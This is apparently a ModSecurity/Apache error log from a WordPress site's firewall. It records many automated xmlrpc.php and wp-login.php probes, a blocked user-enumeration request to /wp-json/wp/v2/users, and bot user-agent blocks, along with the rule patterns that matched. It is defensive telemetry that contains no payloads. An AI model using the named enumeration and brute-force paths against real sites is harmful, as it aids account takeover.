[Thu Apr 30 03:05:48.061284 2026] [:error] [pid 21137:tid 21183] [client 107.180.252.236:34014] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJWjPw-HnaioFPIurWoxwAAAA4"]
[Thu Apr 30 03:07:22.340892 2026] [:error] [pid 21136:tid 21160] [client 121.200.216.6:36600] [client 121.200.216.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.200.216.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJW6ilIfGGQdPVv8_MINgAAAFM"]
[Thu Apr 30 03:09:23.416836 2026] [:error] [pid 47618:tid 47628] [client 141.94.27.49:39336] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJXY3HYUSxIrhce2OBZSQAAAUc"]
[Thu Apr 30 03:10:21.853709 2026] [:error] [pid 21536:tid 21559] [client 212.125.4.206:34284] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJXnSREaVkH9P5H_LRUVgAAAJU"]
[Thu Apr 30 03:14:17.907503 2026] [:error] [pid 21137:tid 21172] [client 185.108.129.81:51922] [client 185.108.129.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.108.129.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJYifw-HnaioFPIurWqOwAAAAM"]
[Thu Apr 30 03:27:44.854088 2026] [:error] [pid 21536:tid 21548] [client 68.178.164.217:34334] [client 68.178.164.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.164.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJbsCREaVkH9P5H_LRWHQAAAIo"]
[Thu Apr 30 03:40:53.728058 2026] [:error] [pid 14873:tid 15060] [client 103.186.241.154:9197] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJexRRfFW0IShyI53aHTAAAAIQ"]
[Thu Apr 30 03:41:55.229309 2026] [:error] [pid 14872:tid 15041] [client 163.61.60.30:44954] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJfA3CEVsTqEmHR80TJiQAAAE0"]
[Thu Apr 30 04:10:16.773203 2026] [:error] [pid 18220:tid 18247] [client 211.21.61.224:45222] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJlqMyESVSfAPebmxbbAwAAANg"]
[Thu Apr 30 04:10:55.164913 2026] [:error] [pid 52436:tid 52461] [client 185.252.234.215:45372] [client 185.252.234.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.252.234.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJlzwLFWPk_P7AfE8fLBQAAAVY"]
[Thu Apr 30 04:14:38.197828 2026] [:error] [pid 52350:tid 52381] [client 143.198.119.177:36732] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJmrv1j4GHE9hm7bfcinwAAARc"]
[Thu Apr 30 04:17:09.007690 2026] [:error] [pid 18111:tid 18144] [client 23.239.25.95:55156] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.239.25.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJnRWctLbxB7Q1_oK14SwAAABY"]
[Thu Apr 30 04:23:21.496477 2026] [:error] [pid 52436:tid 52443] [client 185.246.164.237:40378] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJouQLFWPk_P7AfE8fOOgAAAUQ"]
[Thu Apr 30 04:32:19.367974 2026] [:error] [pid 18113:tid 18179] [client 155.133.142.66:54850] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJq03iIjwsVGkvz5IlJzAAAAII"]
[Thu Apr 30 04:35:11.600611 2026] [:error] [pid 52436:tid 52449] [client 137.184.46.218:52406] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJrfwLFWPk_P7AfE8fRLAAAAUo"]
[Thu Apr 30 04:35:18.955087 2026] [:error] [pid 52436:tid 52439] [client 35.226.125.165:60558] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJrhgLFWPk_P7AfE8fRNgAAAUA"]
[Thu Apr 30 04:39:56.009675 2026] [:error] [pid 18113:tid 18183] [client 205.185.118.250:50468] [client 205.185.118.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.118.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afJsnHiIjwsVGkvz5IlKigAAAIY"]
[Thu Apr 30 04:39:57.285830 2026] [:error] [pid 18113:tid 18177] [client 205.185.118.250:50468] [client 205.185.118.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 205.185.118.250, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afJsnXiIjwsVGkvz5IlKjwAAAIA"]
[Thu Apr 30 04:52:10.425965 2026] [:error] [pid 52436:tid 52458] [client 137.184.46.218:50290] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJvegLFWPk_P7AfE8fU4gAAAVM"]
[Thu Apr 30 04:58:59.604010 2026] [:error] [pid 52436:tid 52461] [client 54.38.195.241:52334] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJxEwLFWPk_P7AfE8fW2AAAAVY"]
[Thu Apr 30 05:01:00.376450 2026] [:error] [pid 52436:tid 52450] [client 146.59.70.139:35986] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJxjALFWPk_P7AfE8fXMgAAAUs"]
[Thu Apr 30 05:06:46.903109 2026] [:error] [pid 52350:tid 52371] [client 143.198.119.177:41648] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJy5v1j4GHE9hm7bfcr8AAAAQ0"]
[Thu Apr 30 05:16:10.065350 2026] [:error] [pid 52436:tid 52457] [client 43.153.135.208:44226] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afJ1GgLFWPk_P7AfE8faCAAAAVI"]
[Thu Apr 30 05:16:51.551000 2026] [:error] [pid 52350:tid 52373] [client 143.198.119.177:47722] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ1Q_1j4GHE9hm7bfcuPgAAAQ8"]
[Thu Apr 30 05:20:12.787730 2026] [:error] [pid 52436:tid 52443] [client 5.42.124.21:45378] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ2DALFWPk_P7AfE8fa7wAAAUQ"]
[Thu Apr 30 05:27:42.978448 2026] [:error] [pid 18111:tid 18128] [client 51.210.113.223:54412] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ3zmctLbxB7Q1_oK19fwAAAAY"]
[Thu Apr 30 05:31:44.087514 2026] [:error] [pid 52436:tid 52460] [client 141.94.27.49:59702] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ4wALFWPk_P7AfE8felAAAAVU"]
[Thu Apr 30 05:36:05.498208 2026] [:error] [pid 52350:tid 52374] [client 174.73.120.71:58156] [client 174.73.120.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.73.120.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ5xf1j4GHE9hm7bfczsgAAARA"]
[Thu Apr 30 05:37:35.101524 2026] [:error] [pid 18112:tid 18150] [client 174.73.120.71:60241] [client 174.73.120.71] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afJ6HyUrJv3y8j6Lm1uZagAAAEA"]
[Thu Apr 30 05:37:59.238352 2026] [:error] [pid 18112:tid 18173] [client 174.73.120.71:60770] [client 174.73.120.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.73.120.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ6NyUrJv3y8j6Lm1uZcwAAAFc"]
[Thu Apr 30 05:39:26.679847 2026] [:error] [pid 18111:tid 18132] [client 45.233.148.131:59310] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.148.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ6jmctLbxB7Q1_oK1-DgAAAAo"]
[Thu Apr 30 05:42:35.208353 2026] [:error] [pid 52350:tid 52362] [client 198.199.77.203:45060] [client 198.199.77.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.199.77.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ7S_1j4GHE9hm7bfc1ZAAAAQQ"]
[Thu Apr 30 05:55:19.194892 2026] [:error] [pid 52350:tid 52372] [client 141.94.139.189:51622] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.139.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ-R_1j4GHE9hm7bfc3zwAAAQ4"]
[Thu Apr 30 05:56:16.912808 2026] [:error] [pid 52436:tid 52444] [client 157.66.26.248:42410] [client 157.66.26.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.26.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ-gALFWPk_P7AfE8fiDQAAAUU"]
[Thu Apr 30 05:56:23.295344 2026] [:error] [pid 52436:tid 52462] [client 76.13.78.252:36406] [client 76.13.78.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.13.78.252, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ-hwLFWPk_P7AfE8fiEQAAAVc"]
[Thu Apr 30 05:56:51.543789 2026] [:error] [pid 52436:tid 52462] [client 202.61.197.175:57052] [client 202.61.197.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.61.197.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afJ-owLFWPk_P7AfE8fiQgAAAVc"]
[Thu Apr 30 06:03:18.373274 2026] [:error] [pid 52350:tid 52364] [client 143.198.119.177:37182] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKAJv1j4GHE9hm7bfc6uQAAAQY"]
[Thu Apr 30 06:11:41.217093 2026] [:error] [pid 52350:tid 52379] [client 137.184.25.215:41364] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKCHf1j4GHE9hm7bfc8hwAAARU"]
[Thu Apr 30 06:12:16.683674 2026] [:error] [pid 18220:tid 18231] [client 143.198.119.177:45190] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKCQMyESVSfAPebmxbqSAAAAMg"]
[Thu Apr 30 06:13:24.378388 2026] [:error] [pid 52350:tid 52372] [client 96.9.125.116:45012] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKChP1j4GHE9hm7bfc8vgAAAQ4"]
[Thu Apr 30 06:13:28.339390 2026] [:error] [pid 18111:tid 18146] [client 143.198.119.177:41856] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKCiGctLbxB7Q1_oK2AqQAAABg"]
[Thu Apr 30 06:24:08.435885 2026] [:error] [pid 52436:tid 52449] [client 45.233.148.131:35024] [client 45.233.148.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.233.148.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKFCALFWPk_P7AfE8fnqQAAAUo"]
[Thu Apr 30 06:28:51.485691 2026] [:error] [pid 52350:tid 52373] [client 35.172.190.161:52558] [client 35.172.190.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.172.190.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKGI_1j4GHE9hm7bfdALAAAAQ8"]
[Thu Apr 30 06:35:02.397827 2026] [:error] [pid 52350:tid 52362] [client 31.134.1.58:25207] [client 31.134.1.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afKHlv1j4GHE9hm7bfdCDgAAAQQ"]
[Thu Apr 30 06:35:03.532881 2026] [:error] [pid 52436:tid 52444] [client 31.134.1.58:59085] [client 31.134.1.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afKHlwLFWPk_P7AfE8fphQAAAUU"]
[Thu Apr 30 06:37:59.373267 2026] [:error] [pid 52436:tid 52443] [client 96.9.125.116:45180] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKIRwLFWPk_P7AfE8fqegAAAUQ"]
[Thu Apr 30 06:48:11.707999 2026] [:error] [pid 18111:tid 18131] [client 157.66.27.30:49812] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKKq2ctLbxB7Q1_oK2DJgAAAAk"]
[Thu Apr 30 07:16:58.563936 2026] [:error] [pid 18112:tid 18170] [client 66.70.178.228:52228] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKRaiUrJv3y8j6Lm1ujmQAAAFQ"]
[Thu Apr 30 07:21:57.799765 2026] [:error] [pid 18111:tid 18138] [client 141.94.27.49:51876] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKSlWctLbxB7Q1_oK2GBQAAABA"]
[Thu Apr 30 07:31:16.717921 2026] [:error] [pid 52436:tid 52442] [client 68.178.164.217:44808] [client 68.178.164.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.164.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKUxALFWPk_P7AfE8f6MwAAAUM"]
[Thu Apr 30 07:33:47.989887 2026] [:error] [pid 18111:tid 18128] [client 148.113.180.195:58242] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKVW2ctLbxB7Q1_oK2I7AAAAAY"]
[Thu Apr 30 07:44:22.521666 2026] [:error] [pid 18112:tid 18162] [client 137.184.46.218:48748] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKX1iUrJv3y8j6Lm1uvUwAAAEw"]
[Thu Apr 30 07:53:30.142791 2026] [:error] [pid 18111:tid 18136] [client 139.155.134.17:33180] [client 139.155.134.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afKZ-mctLbxB7Q1_oK2OPgAAAA4"]
[Thu Apr 30 07:56:24.502424 2026] [:error] [pid 18112:tid 18164] [client 212.125.4.206:47400] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKaqCUrJv3y8j6Lm1u0AwAAAE4"]
[Thu Apr 30 08:02:47.202145 2026] [:error] [pid 18111:tid 18142] [client 69.163.206.7:51322] [client 69.163.206.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.206.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKcJ2ctLbxB7Q1_oK2RBwAAABQ"]
[Thu Apr 30 08:11:43.567701 2026] [:error] [pid 52436:tid 52447] [client 159.223.103.141:33526] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afKePwLFWPk_P7AfE8f-MAAAAUg"]
